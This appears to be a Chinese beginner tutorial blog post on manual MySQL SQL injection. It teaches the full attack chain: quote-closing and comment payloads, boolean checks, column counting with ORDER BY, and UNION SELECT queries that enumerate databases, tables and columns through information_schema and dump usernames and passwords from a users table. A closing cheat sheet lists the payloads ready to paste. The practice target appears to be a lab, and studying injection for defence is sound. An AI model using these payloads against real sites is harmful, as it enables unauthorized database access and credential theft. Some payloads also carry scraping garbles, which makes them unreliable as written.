標籤:

新手科普 | MySQL手工注入之基本注入流程

新手科普 | MySQL手工注入之基本注入流程

9 人贊了文章

MySQL手工注入的基本步驟以及一些技巧的記錄,當出現學習手工注入的時候,網上的文章參差不齊,導致很長一段時間對手工注入的理解一直處於一知半解的狀態,特此記錄本文,讓小白們少走些彎路。本文只針對手工注入小白,大牛繞過輕噴。

步驟注釋或者閉合語句

首先看下一個基本的SQL語句查詢源碼:

$sql="SELECT * FROMusersWHEREid=$idLIMIT0,1";

下面的步驟默認都是採用這種基本的SQL語句的,其他的注入方法換湯不換藥,這裡只是想整理下注入的步驟與關鍵性的語句。

引號閉合語句id =1 and 1 =1

帶入進源碼中的SQL語句就是:

SELECT * FROMusersWHEREid=1 and1 =1LIMIT0,1注釋後面語句

常用的注釋payload

or 1=1--+or 1=1--+"or 1=1--+)or 1=1--+)or 1=1--+") or 1=1--+"))or 1=1--+--+ 可以用#替換,url 提交過程中 Url 編碼後的#為%23

帶入進源碼中的SQL語句就是:

SELECT * FROMusersWHEREid=or1=1--+ LIMIT 0,1

這樣可以看出直接把後面的語句都給注釋掉了,一般實戰用注釋比較多。

and 驗證

當然這裡 and 驗證和 or 驗證都可以,二者區別不大:頁面返回正常

?id=1 and 1=1 --+ ?id=1or1=2 --+頁面返回異常?id=1 and 1=2 --+?id=1or1=1 --+

如果發現一開始頁面先是正常然後是異常的話,說明頁面啊存在注入。當然這裡是最基本的判斷方法,到後面盲注的時候是用延時函數來觀察頁面的返回時間的。

查詢欄位數目

查詢欄位數目主要利用MySQL裡面的 order by 來判斷欄位數目,order by一般採用數學中的對半查找來判斷具體的欄位數目,這樣效率會很高,下面假設用 order by 來判斷一個未知欄位的注入。

?id=1′ order by 1 –+ 此時頁面正常,繼續換更大的數字測試?id=1′ order by 10 –+ 此時頁面返回錯誤,更換小的數字測試?id=1′ order by 5 –+ 此時頁面依然報錯,繼續縮小數值測試?id=1′ order by 3 –+ 此時頁面返回正常,更換大的數字測試?id=1′ order by 4 –+ 此時頁面返回錯誤,3正常,4錯誤,說明欄位數目就是 3

通過數學的對半查找,確定欄位數目。

聯合查詢

UNION SELECT 聯合查詢,手工注入經典語句,作用是在後面通過UNION把我們的惡意注入語句接上去,帶入資料庫進行查詢。因為欄位數目是:3,那麼正規的語句如下:

?id=1 UNION SELECT1,2,3--+

這裡頁面是不會報錯的,此時我們帶入資料庫的語句為:

SELECT 1,2,3 這段語句沒有任何意義,所以頁面按返回正常。

但是為了信息收集,我們得知道當前這個頁面裡面的值,調用的具體是資料庫中的哪個欄位才可以,可以故意構造一個錯誤的語句,來爆出錯誤的欄位:

id=-1′ UNION SELECT 1,2,3 –+ 通過id=-1 一個負數不存在的id值來觸發報錯id=1′ and 1=2 UNION SELECT 1,2,3 –+ 通過and 1=2 語句來觸發報錯id=1′ or 1=1 UNION SELECT 1,2,3 –+ 通過or 1=1 語句來觸發報錯

可以看出爆出了具體的欄位號了,這裡爆出了2和3進MySQL資料庫看下這個表的欄位結構:

資料庫表的結構完美驗證了本次爆錯出先的數字2和3,這裡的數字代表欄位,恰巧對應的欄位值是:username和password。

收集信息

在爆出的欄位值裡面可以替換為我們的惡意語句,前期主要是收集信息,包括判斷當前資料庫是否是root用戶,MySQL的版本等,一般收集這些信息常用一些MySQL自帶的函數去收集信息:MySQL常用的系統函數

version() #MySQL版本user() #資料庫用戶名database() #資料庫名@@datadir #資料庫路徑@@version_compile_os #操作系統版本

查詢當前資料庫名

id=1 and 1=2 UNION SELECT1,database(),3--+

查詢MySQL版本id=1 and 1=2 UNION SELECT1,2,version() --+

查詢資料庫用戶和路徑id=1 and 1=2 UNION SELECT1,user(),@@datadir --+

查詢資料庫

查詢資料庫,一般來說我們注入的時候要查的就是當前的資料庫,但有時候root許可權就NB了還可以看到網站資料庫之外的資料庫內容。查詢當前資料庫

id=1 and 1=2 UNION SELECT1,2,database() --+

拿到當前的資料庫名稱為:security查詢所有資料庫有時候忍不住想看下其他的資料庫的內容,可以用這個語句查詢所有的資料庫:

id=1 and 1=2 UNION SELECT1,2,group_concat(schema_name) from information_schema.schemata --+

這裡用到了group_concat函數,由於本篇文章的定位是 手工注入的步驟 這裡不在這裡進行細化的講解此類函數的用法。了解相關函數的話參考我的另一篇文章:MySQL 手工注入之常見字元串函數

查詢表名database 查詢資料庫id=1 and 1=2 UNION SELECT1,2,group_concat(table_name) from information_schema.tableswhere table_schema=database() --+

單引號-資料庫

這裡的database()函數進行了資料庫查詢,因為我們已經查到了當前的資料庫為security,所有這裡還可以醬紫寫,用單引號括把資料庫的名稱括起來security:

id=1 and 1=2 UNION SELECT1,2,group_concat(table_name) from information_schema.tableswhere table_schema=security--+hex編碼資料庫

如果嫌單引號括起來麻煩的話,那麼巧了!這裡還有一個更麻煩的方法,就是將資料庫名進行hex編碼處理。使用火狐自帶的HackBar插件可以快速的進行hex編碼:

hex編碼後在前面加上0x表明這裡是16進位編碼。

目前主流的集中方法大致就是這樣,還有一些先hex然後unhex group_concat的寫法,據說可以繞waf類的,這裡不是很常用就不再贅述了。 同理這些方法放到查詢資料庫的列名中也是可以使用的,要學會活學活用。

查詢列名

目前收集到的信息為:

資料庫名稱: securuty資料庫表名: emails,referers,uagents,users

做為一名黑客一定要有敏銳的嗅覺(手動dog),這幾個表中 一般我們都會去 繼續猜解users表。下面用和查詢資料庫類似的方法去查詢列名,關於原理的話 就是 MySQL下有一個information_schema裡面會存所有資料庫的一些相關信息:

既然都說到這裡了,這裡就順便列舉一下MySQL手工注入中,比較關鍵的information_schema里的信息:

記錄關於資料庫的信息

information_schema 資料庫下的 schemata表中的schema_name記錄的是各個資料庫的名稱:

不僅這裡記錄了在 tables資料庫下的table_schema表也記錄了各個資料庫的名稱:

記錄關於數據表的信息

information_schema 資料庫下的 tables表中的table_name記錄的是各個數據表的名稱:

這裡是華麗的分割線,吃驚,一眨眼說不拓展的有忍不住扯了這麼多,下面不多說直接來查詢users表下的列名

id=1 and 1=2 UNION SELECT1,2,group_concat(column_name) from information_schema.columnswhere table_name=users--+

查詢欄位值

由於在查詢列名那裡啰嗦的有點多,核心原理已經寫在上面了,這裡就簡單的寫出payload,:

id=1 and 1=2 UNION SELECT1,2,group_concat(id,username,password) fromusers--+

知道了資料庫、表名、各個欄位名可以直接進行查詢了,不需藉助information_schanem資料庫了。

簡短的整理

本來是打算前面步驟中規中矩的寫的,但還是忍不住寫多了。於是又開出一個標題進行簡短的整理:

order by –+ 判斷欄位數目

union select –+ 聯合查詢收集信息

id=1′ and 1=2 UNION SELECT 1,2,database() –+ 查詢當前資料庫

id=1′ and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata –+查詢所有資料庫

id=1′ and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() –+ 查詢表名

id=1′ and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name=』users』 –+ 查詢列名

id=1′ and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users –+ 查詢欄位值

推薦閱讀:

超級計算機美國又搶回了第一,有些人又慌了? | 科技袁人
Cluster(集群)[翻譯]
多元化產品策略和產業鏈優勢,讓叮咚總是做到獨一無二
分享點編譯第三方庫的經驗
為什麼華為晶元不對外銷售?

TAG:MySQL | 科技 |